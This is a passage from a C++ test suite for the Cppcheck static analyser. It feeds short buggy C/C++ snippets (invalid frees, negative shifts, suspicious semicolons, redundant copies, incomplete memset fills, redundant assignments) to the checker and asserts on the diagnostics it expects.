either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 > x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (t(a, b) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (0 > t(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int typep[10]; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (*oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon1() {\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Empty block\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i); {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'for' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while (!quit); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'while' statement. [suspiciousSemicolon]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon2() {\n check(\"void foo() {\\n\"\n \" if (i == 1); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'if' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n // Seen this in the wild\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" else\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1)\\n\"\n \" ;\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1);\\n\"\n \"\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousSemicolon3() {\n checkP(\"#define REQUIRE(code) {code}\\n\"\n \"void foo() {\\n\"\n \" if (x == 123);\\n\"\n \" REQUIRE(y=z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousComparison() {\n checkP(\"void f(int a, int b) {\\n\"\n \" a > b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '>', result is not used. [constStatement]\\n\", errout_str());\n\n checkP(\"void f() {\\n\" // #10607\n \" for (auto p : m)\\n\"\n \" std::vector> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidFree() {\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a - 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(10 + a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char[1024];\\n\"\n \" delete[] (a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a, b);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar()\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" ptr += xx;\\n\"\n \" free(ptr + 1 - xx);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" std::cout << ptr;\\n\"\n \" ptr = otherPtr;\\n\"\n \" free(otherPtr - xx - 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9]: (style) Variable 'ptr' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void checkRedundantCopy() {\n check(\"const std::string& getA(){static std::string a;return a;}\\n\"\n \"void foo() {\\n\"\n \" const std::string a = getA();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int getA = 0;\\n\"\n \" const int a = getA + 3;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:4:9]: (style) Local variable 'getA' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA() + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA()+1);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5190 - FP when creating object with constructor that takes a reference\n check(\"class A {};\\n\"\n \"class B { B(const A &a); };\\n\"\n \"const A &getA();\\n\"\n \"void f() {\\n\"\n \" const B b(getA());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {};\\n\"\n \"class B { B(const A& a); };\\n\"\n \"const A& getA();\\n\"\n \"void f() {\\n\"\n \" const B b{ getA() };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5618\n const char code5618[] = \"class Token {\\n\"\n \"public:\\n\"\n \" const std::string& str();\\n\"\n \"};\\n\"\n \"void simplifyArrayAccessSyntax() {\\n\"\n \" for (Token *tok = list.front(); tok; tok = tok->next()) {\\n\"\n \" const std::string temp = tok->str();\\n\"\n \" tok->str(tok->strAt(2));\\n\"\n \" }\\n\"\n \"}\";\n check(code5618, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n check(code5618, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5890 - crash: wesnoth desktop_util.cpp / unicode.hpp\n check(\"typedef std::vector X;\\n\"\n \"X f(const X &in) {\\n\"\n \" const X s = f(in);\\n\"\n \" return f(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7981 - False positive redundantCopyLocalConst - const ref argument to ctor\n check(\"class CD {\\n\"\n \" public:\\n\"\n \" CD(const CD&);\\n\"\n \" static const CD& getOne();\\n\"\n \"};\\n\"\n \" \\n\"\n \"void foo() {\\n\"\n \" const CD cd(CD::getOne());\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10545\n \" int modify();\\n\"\n \" const std::string& get() const;\\n\"\n \"};\\n\"\n \"std::string f(S& s) {\\n\"\n \" const std::string old = s.get();\\n\"\n \" int i = s.modify();\\n\"\n \" if (i != 0)\\n\"\n \" return old;\\n\"\n \" return {};\\n\"\n \"}\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int x; };\\n\" // #10191\n \"struct S {\\n\"\n \" X _x;\\n\"\n \" X& get() { return _x; }\\n\"\n \" void modify() { _x.x += 42; }\\n\"\n \" int copy() {\\n\"\n \" const X x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \" int constref() {\\n\"\n \" const X& x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \"};\\n\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10704\n check(\"struct C {\\n\"\n \" std::string str;\\n\"\n \" const std::string& get() const { return str; }\\n\"\n \"};\\n\"\n \"struct D {\\n\"\n \" C c;\\n\"\n \" bool f() const {\\n\"\n \" std::string s = c.get();\\n\"\n \" return s.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:21]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" const std::string & get() const { return m; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"C getC();\\n\"\n \"void f() {\\n\"\n \" const std::string s = getC().get();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::string s = getC().get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12139\n \" int x, y;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" const S& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const S a = t.get();\\n\"\n \" if (a.x > a.y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12740\n \" const std::string & get() const { return m; }\\n\"\n \" void set(const std::string& v) { m = v; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" void f();\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" const std::string o = s->get();\\n\"\n \" s->set(\\\"abc\\\");\\n\"\n \" s->set(o);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12196\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S* m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" explicit U(S* p);\\n\"\n \" void g();\\n\"\n \" S* n;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" U u(m);\\n\"\n \" const std::string c = m->get();\\n\"\n \" u.g();\\n\"\n \" if (c == m->get()) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:16:33] -> [test.cpp:18:11]: (style) The comparison 'c == m->get()' is always true because 'c' and 'm->get()' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12925\n \" const std::string & f() const { return str; }\\n\"\n \" std::string str;\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" const std::string v{ s->f() };\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\"\n \"void g(const S* s) {\\n\"\n \" const std::string w(s->f());\\n\"\n \" if (w.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (performance, inconclusive) Use const reference for 'v' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\"\n \"[test.cpp:10:23]: (performance, inconclusive) Use const reference for 'w' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const auto s = t.get();\\n\"\n \" if (s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n }\n\n void checkNegativeShift() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a << -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a >> -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a <<= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a >>= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << a << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << 3 << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" x = (-10+2) << 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"x = y ? z << $-1 : 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Negative LHS\n check(\"const int x = -1 >> 2;\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n // #6383 - unsigned type\n check(\"const int x = (unsigned int)(-1) >> 2;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7814 - UB happening in valueflowcode when it tried to compute shifts.\n check(\"int shift1() { return 1 >> -1 ;}\\n\"\n \"int shift2() { return 1 << -1 ;}\\n\"\n \"int shift3() { return -1 >> 1 ;}\\n\"\n \"int shift4() { return -1 << 1 ;}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:2:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:3:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\"\n \"[test.cpp:4:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12916\n \" if (i < 0) {\\n\"\n \" g(\\\"abc\\\" << i);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13326\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<-1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incompleteArrayFill() {\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a, 123, 5);\\n\"\n \" memcpy(a, b, 5);\\n\"\n \" memmove(a, b, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(// TODO \"[test.cpp:4] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memcpy()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memmove()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"int a[5];\\n\"\n \"namespace Z { struct B { int a[5]; } b; }\\n\"\n \"void f() {\\n\"\n \" memset(::a, 123, 5);\\n\"\n \" memset(Z::b.a, 123, 5);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5]: (warning, inconclusive) Array 'Z::b.a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*Z::b.a)'?\\n\",\n \"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo* a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"class Foo {int a; int b;};\\n\"\n \"void f() {\\n\"\n \" Foo a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo a[5];\\n\" // Size of foo is unknown\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a+15, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool a[5];\\n\"\n \" memset(a, false, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (portability, inconclusive) Array 'a' might be filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int n = 5;\"\n \" int a[n];\\n\"\n \" memset(a, 0, n);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n }\n\n void redundantVarAssignment() {\n setMultiline();\n\n // Simple tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:3:7]: note: i is overwritten\\n\", errout_str());\n\n // non-local variable => only show warning when inconclusive is used\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i[10];\\n\"\n \" i[2] = 1;\\n\"\n \" i[2] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[2]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[2] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[2] is overwritten\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" x=1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[x]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[x] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[x] is overwritten\\n\", errout_str());\n\n // Testing different types\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\" // #4425. bar might refer to something global, etc.\n \" bar = y();\\n\"\n \" foo();\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Tests with function call between assignment\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // bar() might call f() recursively. This could be a false positive in more complex examples (when value of i is used somewhere. See #4229)\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void bar(int i) {}\\n\"\n \"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar(i);\\n\" // Passed as argument\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo bar = foo();\\n\"\n \" bar();\\n\" // #5568. operator() called\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(x)\\n\"\n \" i = 